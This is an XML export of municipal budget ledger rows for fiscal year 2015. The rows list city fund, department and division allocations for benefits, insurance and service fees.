<row _id="14955"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>842.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>842.0</total></row>
<row _id="14956"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3343.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3343.0</total></row>
<row _id="14957"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>733.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>733.0</total></row>
<row _id="14958"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1218.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1218.0</total></row>
<row _id="14959"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4859.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4859.0</total></row>
<row _id="14960"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>16972.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16972.0</total></row>
<row _id="14961"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>22282.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22282.0</total></row>
<row _id="14962"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>WELLNESS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14963"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>993.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>993.0</total></row>
<row _id="14964"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="14965"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>405600.0</object><object_description>MILES PLAYHOUSE FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-6500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6500.0</total></row>
<row _id="14966"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>579240.0</object><object_description>CIVIC PARKING BOND DEBT SERVIC</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14967"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544360.0</object><object_description>ELECTRONIC RESOURCES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>288700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>288700.0</total></row>
<row _id="14968"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14969"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>45794.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>45794.0</total></row>
<row _id="14970"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12232.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12232.0</total></row>
<row _id="14971"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>11479.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11479.0</total></row>
<row _id="14972"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>14148.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14148.0</total></row>
<row _id="14973"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6816.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6816.0</total></row>
<row _id="14974"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>9893.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9893.0</total></row>
<row _id="14975"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>15933.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15933.0</total></row>
<row _id="14976"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>572.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>572.0</total></row>
<row _id="14977"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3130.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3130.0</total></row>
<row _id="14978"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>17234.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17234.0</total></row>
<row _id="14979"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5144.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5144.0</total></row>
<row _id="14980"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1148.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1148.0</total></row>
<row _id="14981"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1262.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1262.0</total></row>
<row _id="14982"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3358.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3358.0</total></row>
<row _id="14983"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>22470.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22470.0</total></row>
<row _id="14984"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12946.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12946.0</total></row>
<row _id="14985"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8910.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8910.0</total></row>
<row _id="14986"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4150.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4150.0</total></row>
<row _id="14987"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6441.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6441.0</total></row>
<row _id="14988"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2286.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2286.0</total></row>
<row _id="14989"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3228.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3228.0</total></row>
<row _id="14990"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3838.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3838.0</total></row>
<row _id="14991"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4116.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4116.0</total></row>
<row _id="14992"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3133.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3133.0</total></row>
<row _id="14993"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>619.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>619.0</total></row>
<row _id="14994"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8213.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8213.0</total></row>
<row _id="14995"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>16465.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16465.0</total></row>
<row _id="14996"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2518.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2518.0</total></row>
<row _id="14997"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>502.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>502.0</total></row>
<row _id="14998"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>18155.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18155.0</total></row>
<row _id="14999"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>138283.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>138283.0</total></row>
<row _id="15000"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>400320.0</object><object_description>MILES PLAYHOUSE PROD FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-17500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-17500.0</total></row>
<row _id="15001"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>18848.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18848.0</total></row>
<row _id="15002"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511712.0</object><object_description>MEDICARE-FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>17871.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17871.0</total></row>
